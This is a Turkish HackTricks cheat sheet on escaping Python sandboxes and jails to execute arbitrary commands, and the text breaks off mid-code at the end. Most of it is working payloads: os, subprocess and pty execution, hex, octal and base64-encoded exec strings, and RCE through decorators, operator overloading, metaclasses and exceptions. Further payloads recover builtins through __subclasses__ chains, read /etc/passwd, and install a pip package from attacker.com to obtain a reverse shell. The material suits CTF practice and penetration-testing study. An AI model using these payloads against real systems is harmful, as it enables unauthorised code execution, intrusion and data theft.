hacktricks/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

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# Python kum havuzlarını atlatma
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<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
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HackTricks'i desteklemenin diğer yolları:
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* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
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* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
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</details>
Bu, python kum havuzlarını atlatmak ve keyfi komutları yürütmek için bazı hilelerdir.
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## Komut Yürütme Kütüphaneleri
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Bilmeniz gereken ilk şey, zaten içe aktarılmış bir kütüphane ile doğrudan kod yürütebilir misiniz veya bu kütüphanelerden herhangi birini içe aktarabilir misiniz:
```python
os.system("ls")
os.popen("ls").read()
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commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
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platform.os.system("ls")
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pdb.os.system("ls")
#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Hatırlayın ki _**open**_ ve _**read**_ fonksiyonları, python kum havuzu içindeki dosyaları okumak ve kum havuzunu atlatmak için **bazı kodlar yazmak** için kullanışlı olabilir.
{% hint style="danger" %}
**Python2 input()** fonksiyonu programın çökmeden önce python kodunu çalıştırmasına izin verir.
{% endhint %}
Python, **kütüphaneleri önceki dizinden yüklemeye çalışır** (aşağıdaki komut, python'ın modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>)
## Pickle kum havuzunu varsayılan yüklü python paketleriyle atlatma
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### Varsayılan paketler
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Burada **önceden yüklenmiş** paketlerin bir listesini bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Bir pickle'dan, sistemde yüklü **keyfi kütüphaneleri içe aktarabilirsiniz**.\
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Örneğin, aşağıdaki pickle, yüklendiğinde pip kütüphanesini içe aktaracak:
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```python
#Note that here we are importing the pip library so the pickle is created correctly
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#however, the victim doesn't even need to have the library installed to execute it
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#the library is going to be loaded automatically
import pickle, os, base64, pip
class P(object):
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def __reduce__(self):
return (pip.main,(["list"],))
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print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Daha fazla bilgi için pickle'ın nasıl çalıştığını kontrol edin: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
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### Pip paketi
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**@isHaacK** tarafından paylaşılan hile
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Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paket yükleyebilir ve ters kabuk almak için şunu çağırabilirsiniz:
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```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Pozitif kabuk oluşturmak için paketi buradan indirebilirsiniz. Kullanmadan önce **paketin sıkıştırmasını açmalı, `setup.py` dosyasını değiştirmeli ve ters kabuk için IP'nizi girmelisiniz**:
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{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
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{% hint style="info" %}
Bu paket `Reverse` olarak adlandırılmıştır. Ancak, ters kabuktan çıktığınızda geri kalan kurulumun başarısız olması için özel olarak hazırlandı, böylece sunucuda ayrıca **herhangi bir ek python paketi bırakmazsınız**.
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{% endhint %}
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## Python kodunu değerlendirme
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{% hint style="warning" %}
exec çoklu satır dizelerine ve ";" karakterine izin verir, ancak eval etmez (walrus operatörünü kontrol edin)
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{% endhint %}
Belirli karakterler yasaklanmışsa, kısıtlamayı **atlatmak** için **hex/octal/B64** temsilini kullanabilirsiniz:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
```
```python
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
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exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
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### Python kodunu değerlendirmeye izin veren diğer kütüphaneler
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```python
#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## Operatörler ve kısa hileler
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```python
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# walrus operator allows generating variable inside a list
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## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Kod korumalarını aşma (UTF-7)
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[**Bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, açık bir kum havuzu içinde keyfi Python kodunu yüklemek ve yürütmek için kullanılmıştır:
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```python
assert b"+AAo-".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
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return x
#+AAo-print(open("/flag.txt").read())
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""".lstrip()
```
Ayrıca, diğer kodlamaları kullanarak da bunu atlayabilirsiniz, örn. `raw_unicode_escape` ve `unicode_escape`.
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## Çağrı yapmadan Python yürütme
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Eğer **çağrı yapmanıza izin vermeyen** bir python hapishanesindeyseniz, yine de **keyfi fonksiyonlar, kod** ve **komutlar** yürütmek için bazı yollar vardır.
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### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile Uzaktan Kod Yürütme (RCE)
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```python
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# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
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pass
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# The previous code is equivalent to:
class X:
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pass
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X = input(X)
X = exec(X)
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# So just send your python code when prompted and it will be executed
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# Another approach without calling input:
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@eval
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE nesneler oluşturma ve aşırı yükleme
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Eğer bir **sınıf bildirebilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **farklı yöntemleri yazabilir/yeniden yazabilirsiniz** ve bunlar **doğrudan çağrılmadan tetiklenebilir**.
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#### Özel sınıflarla RCE
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Bazı **sınıf yöntemlerini** değiştirebilirsiniz (_mevcut sınıf yöntemlerini üzerine yazarak veya yeni bir sınıf oluşturarak_), böylece bunlar **doğrudan çağrılmadan tetiklendiğinde** **keyfi kodları yürütebilirsiniz**.
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```python
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# This class has 3 different ways to trigger RCE without directly calling any function
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class RCE:
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def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>
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# These lines abuse directly the previous class to get RCE
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rce = RCE() #Later we will see how to create objects without calling the constructor
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rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
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del rce
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# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()
# Other functions to overwrite
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__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### [Metaclass](https://docs.python.org/3/reference/datamodel.html#metaclasses) kullanarak nesneler oluşturma
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Metaclass'ların bize izin verdiği temel şey, hedef sınıfın metaclass olarak kullanılarak yeni bir sınıf oluşturarak, **kurucuyu doğrudan çağırmadan bir sınıf örneği oluşturmaktır**.
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```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
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# This will define the members of the "subclass"
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class Metaclass(type):
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__getitem__ = exec # So Sub[string] will execute exec(string)
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# Note: Metaclass.__class__ == type
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class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
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pass # Nothing special to do
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Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### İstisnalarla nesneler oluşturma
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Bir **istisna tetiklendiğinde**, **Exception**'dan bir nesne **oluşturulur** ve doğrudan yapıcıyı çağırmak zorunda kalmazsınız ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)den bir hile):
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```python
class RCE(Exception):
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def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
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raise RCE #Generate RCE object
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# RCE with __add__ overloading and try/except + raise generated object
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class Klecko(Exception):
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__add__ = exec
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try:
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raise Klecko
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except Klecko as k:
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k + 'import os; os.system("sh")' #RCE abusing __add__
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## You can also use the tricks from the previous section to get RCE with this object
```
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### Daha Fazla Uzaktan Kod Çalıştırma (RCE)
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```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
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def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
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sys.excepthook = X
1/0 #Trigger it
# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
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# The interpreter will try to import an apt-specific module to potentially
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# report an error in ubuntu-provided modules.
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# Therefore the __import__ functions are overwritten with our RCE
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class X():
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def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
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__builtins__.__import__ = X
{}[1337]
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```
### builtins yardımıyla dosya okuma ve lisans
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```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
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pass
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```
## Dahili Fonksiyonlar
* [**Python2'nin dahili fonksiyonları**](https://docs.python.org/2/library/functions.html)
* [**Python3'ün dahili fonksiyonları**](https://docs.python.org/3/library/functions.html)
Eğer **`__builtins__`** nesnesine erişebilirseniz kütüphaneleri içe aktarabilirsiniz (unutmayın ki burada ayrıca son bölümde gösterilen diğer string temsillerini de kullanabilirsiniz):
```python
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__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### Dahili Fonksiyonlar
`__builtins__`'e sahip olmadığınızda, **hiçbir şeyi içe aktaramayacak** ve hatta dosya okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\
Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller zararsız görünebilir, ancak bazıları içlerinde **tehlikeli** işlevsellikler de **içe aktarabilir** ve hatta **keyfi kod yürütme** elde etmek için erişilebilir olabilir.
Aşağıdaki örneklerde, bu "**zararsız**" modüllerin **içinde yüklü** olan **tehlikeli işlevselliklere** **erişmek** için nasıl **kötüye kullanılabileceğini** görebilirsiniz.
**Python2**
```python
#Try to reload __builtins__
reload(__builtins__)
import __builtin__
# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```
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#### Python3
```python
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# Obtain builtins from a globally defined function
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# https://docs.python.org/3/library/functions.html
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help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
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print.__self__
dir.__self__
globals.__self__
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len.__self__
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__build_class__.__self__
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# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']
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# Get builtins from loaded classes
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[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ve bu fonksiyon sayesinde **builtins**'i bulabileceğiniz onlarca/**yüzlerce yer** bulunmaktadır.
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#### Python2 ve Python3
```python
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# Recover __builtins__ and make everything easier
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__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
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### Dahili yükler
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```python
# Possible payloads once you have found the builtins
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__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
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# There are lots of other payloads that can be abused to execute commands
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# See them below
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```
## Globals ve locals
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**`globals`** ve **`locals`** kontrol etmek, erişebileceğiniz şeyleri bilmek için iyi bir yoldur.
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```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
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# Obtain globals from a defined function
get_flag.__globals__
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# Obtain globals from an object of a class
class_obj.__init__.__globals__
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# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]
# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
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# Without the use of the dir() function
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[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
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```
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) **bulabileceğiniz onlarca/yüzlerce yer** bulmak için.
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## Keyfi Yürütme Keşfi
Burada, **daha tehlikeli işlevlerin yüklendiğini kolayca keşfetmenin** ve daha güvenilir saldırıları önermenin nasıl olduğunu açıklamak istiyorum.
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#### Atlatmalarla alt sınıflara erişme
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Bu teknikte en hassas kısımlardan biri, **temel alt sınıflara erişebilmektir**. Önceki örneklerde bunu `''.__class__.__base__.__subclasses__()` kullanarak yapmıştık ancak **başka mümkün yollar** da vardır:
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```python
#You can access the base from mostly anywhere (in regular conditions)
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"".__class__.__base__.__subclasses__()
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[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
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(1).__class__.__base__.__subclasses__()
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bool.__class__.__base__.__subclasses__()
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print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()
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#You can also access it without "__base__" or "__class__"
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# You can apply the previous technique also here
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"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()
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# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
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#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
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(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Tehlikeli kütüphanelerin yüklenmesini bulma
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Örneğin, **`sys`** kütüphanesi ile **keyfi kütüphanelerin yüklenebileceğini** bildiğinizde, içinde **sys** kütüphanesini içe aktaran tüm **yüklenmiş modülleri** arayabilirsiniz:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Çok fazla var, ve **sadece bir tanesine ihtiyacımız var** komutları yürütmek için:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Aynı şeyi yapabiliriz, sadece **diğer kütüphanelerle** biliriz ki **komutları yürütmek** için kullanılabilir:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
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[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
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#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
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#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
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[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Ayrıca, hangi modüllerin kötü amaçlı kütüphaneleri yüklediğini bile araştırabiliriz:
```python
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bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
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vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
